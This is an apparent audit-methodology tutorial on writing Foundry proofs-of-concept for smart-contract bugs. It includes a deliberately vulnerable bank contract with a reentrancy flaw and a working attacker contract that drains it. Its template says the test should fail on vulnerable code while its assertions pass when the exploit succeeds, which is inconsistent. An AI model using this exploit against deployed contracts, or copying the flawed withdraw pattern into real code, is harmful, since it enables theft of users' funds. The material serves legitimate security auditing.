Creating Proofs-of-Concept

A proof-of-concept (PoC) is the moment a finding stops being an argument and becomes a fact. Until you can hand the developer a runnable test that exploits the bug, every finding is open to "we don't think that's actually exploitable" or "the surrounding code prevents that." A PoC closes the conversation.

Beyond settling debates, a good PoC accelerates remediation: developers know exactly what they need to make untrue, and the same test — run after the fix — is the verification that the patch is correct.

When to Write a PoC

Not every finding needs a PoC. The cost of writing one varies wildly with the bug's location in the codebase. A useful triage:

Finding typePoC effortWhen required
Reentrancy with concrete fund lossLow–MediumAlways
Access control bypassLowAlways
Arithmetic / precision loss with monetary impactMediumAlmost always
Oracle / price manipulationHigh (needs fork)For High/Critical severity
MEV / front-running impactHigh (needs mempool simulation)If the impact is concrete
Gas-limit DoSLow–MediumAlways (easy to write)
Code-quality / informationalNoneNever; recommendation is enough
Speculative / theoreticalVariableStrongly preferred — if you can't write one, reconsider the severity

A useful rule: for any finding rated Medium or above, write the PoC. The discipline of doing so weeds out findings that sounded plausible while reading the code but do not survive contact with a real harness.

Anatomy of a Good PoC

A PoC is a test, but it has higher standards than a normal unit test. It should be:

  1. Self-contained. The reader should be able to clone the repo, run a single command, and watch it fail. No "set up a local Anvil node, deploy these three contracts, then run this script."
  2. Minimal. It exercises only the path that proves the bug. Extraneous setup hides the vulnerability under noise.
  3. Deterministic. No reliance on random fuzzing, mainnet state at a future block, or network ordering. Pin block numbers when using forks. Use fixed seeds when randomness is unavoidable.
  4. Documented. A short comment at the top explains the bug in one paragraph and the exploit in another. Inline comments at the critical lines explain what is happening at the EVM level.
  5. Quantified. It logs the concrete impact — the attacker's profit, the victim's loss, the invariant that was violated, the function that should have reverted but did not.

A Foundry PoC Template

Foundry is the de facto standard for PoCs in modern audits. The skeleton below works for most cases:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";
import {Vulnerable} from "../src/Vulnerable.sol";

/// @title PoC: <one-line description of the bug>
///
/// Bug: <one paragraph explaining the root cause>
/// Impact: <one paragraph explaining what the attacker gains>
/// Severity: <Critical | High | Medium | Low>
/// Affected: <commit hash, contract, function, line>
contract PoC_DescriptiveName is Test {
    Vulnerable target;
    address attacker = makeAddr("attacker");
    address victim   = makeAddr("victim");

    function setUp() public {
        target = new Vulnerable();
        // Minimal setup: only what is needed to demonstrate the bug.
        deal(address(target), 100 ether);
        vm.deal(victim, 1 ether);
        vm.deal(attacker, 0);
    }

    /// @notice This test SHOULD fail on the vulnerable code and PASS after the fix.
    function test_exploit() public {
        // ---- Snapshot pre-exploit state
        uint256 attackerBefore = attacker.balance;
        uint256 contractBefore = address(target).balance;
        console2.log("attacker before:", attackerBefore);
        console2.log("contract before:", contractBefore);

        // ---- Execute the exploit
        vm.prank(attacker);
        target.exploitMe(/* crafted args */);

        // ---- Quantify the damage
        uint256 attackerAfter = attacker.balance;
        uint256 contractAfter = address(target).balance;
        console2.log("attacker after:", attackerAfter);
        console2.log("contract after:", contractAfter);

        // ---- Assert the bug
        assertGt(
            attackerAfter,
            attackerBefore,
            "attacker should have stolen funds"
        );
        assertEq(
            contractAfter,
            0,
            "contract should be drained"
        );
    }
}

Run it with forge test --match-contract PoC_DescriptiveName -vvvv. The -vvvv flag prints the full call trace, which is what you attach to the finding.

A Worked Example: Reentrancy

Consider a deliberately vulnerable bank contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "no balance");

        // BUG: external call before state update — classic CEI violation
        (bool ok, ) = msg.sender.call{value: bal}("");
        require(ok, "transfer failed");

        balances[msg.sender] = 0;
    }
}

The PoC needs a malicious receiver and a Foundry test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";
import {VulnerableBank} from "../src/VulnerableBank.sol";

contract Attacker {
    VulnerableBank public bank;
    uint256 public stolen;

    constructor(VulnerableBank _bank) payable {
        bank = _bank;
    }

    function attack() external payable {
        bank.deposit{value: msg.value}();
        bank.withdraw();
    }

    receive() external payable {
        // Re-enter while bank's balances[attacker] is still non-zero.
        if (address(bank).balance >= msg.value) {
            bank.withdraw();
        } else {
            stolen = address(this).balance;
        }
    }
}

/// @title PoC: VulnerableBank.withdraw allows reentrancy drain
///
/// Bug: withdraw() sends ether before zeroing the caller's balance,
///      letting a contract recipient re-enter withdraw() and drain the
///      bank to the extent of its balance.
/// Impact: Total loss of all deposits in the bank.
/// Severity: Critical
contract PoC_BankReentrancy is Test {
    VulnerableBank bank;
    Attacker attacker;
    address victim = makeAddr("victim");

    function setUp() public {
        bank = new VulnerableBank();
        // Honest users deposit 10 ETH total.
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }

    function test_reentrancyDrainsBank() public {
        // Attacker funds a small initial deposit.
        attacker = new Attacker{value: 1 ether}(bank);

        uint256 bankBefore = address(bank).balance;
        assertEq(bankBefore, 10 ether, "setup invariant");

        attacker.attack{value: 1 ether}();

        uint256 bankAfter   = address(bank).balance;
        uint256 stolen      = attacker.stolen();
        console2.log("bank before:", bankBefore);
        console2.log("bank after :", bankAfter);
        console2.log("attacker stole:", stolen);

        assertEq(bankAfter, 0, "bank should be fully drained");
        assertGt(stolen, 1 ether, "attacker should profit beyond their deposit");
    }
}

Running forge test --match-contract PoC_BankReentrancy -vvvv produces a trace that shows the recursive withdraw calls and the cumulative drain — exactly the artifact the finding needs.

Fork-Based PoCs

When the vulnerability depends on real-world dependencies (a specific oracle reading, a real DEX's liquidity, an actual ERC-20's quirks), pin the fork to a block and run the exploit against live state:

function setUp() public {
    // Pin to a specific block for reproducibility.
    vm.createSelectFork("mainnet", 19_500_000);
    target = Vulnerable(0x1234...);
}

Pin the block number explicitly. A PoC that reproduces only against "the latest block" will silently rot.

Reporting a PoC

When the PoC is ready, attach to the finding:

  1. The full Foundry test file (in a pocs/ directory, ideally added as part of the engagement deliverable).
  2. The command to run it (forge test --match-contract PoC_Name -vvvv --fork-url $RPC --fork-block-number N).
  3. The trimmed call trace showing the critical path — full -vvvv traces are too long; pull the key frames into the finding text.
  4. The quantified impact in plain English: "attacker deposits 1 ETH, withdraws 11 ETH, net profit 10 ETH; all honest depositors are uncompensated."
  5. The minimal patch (often a single-line change) and a note that the same test passes against the patched contract.

That package — running PoC, trace, impact, patch, post-patch test — is what turns a finding from a suggestion into evidence.

When You Cannot Write a PoC

Sometimes you are convinced a bug is real but cannot construct a working exploit — usually because of a subtle precondition, a missing capability, or a guard you have not yet defeated. Two paths forward:

  1. Write the failing PoC anyway. A test that would exploit the bug if a specific precondition held is still useful; it documents the attack and lets the developer evaluate whether the precondition is reachable.
  2. Downgrade the severity. A bug you cannot demonstrate is a potential bug, not a confirmed one. Be honest about that in the report.

The temptation to publish a Critical-rated finding with no PoC and a "we are confident this is exploitable" handwave is real and should be resisted. The whole credibility of the report depends on findings being demonstrable.